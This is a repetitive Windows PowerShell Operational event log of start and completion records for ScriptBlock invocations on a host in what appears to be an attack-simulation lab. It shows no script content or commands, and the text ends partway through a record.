09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026161
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026160
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026159
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026158
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026138
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026137
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026131
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
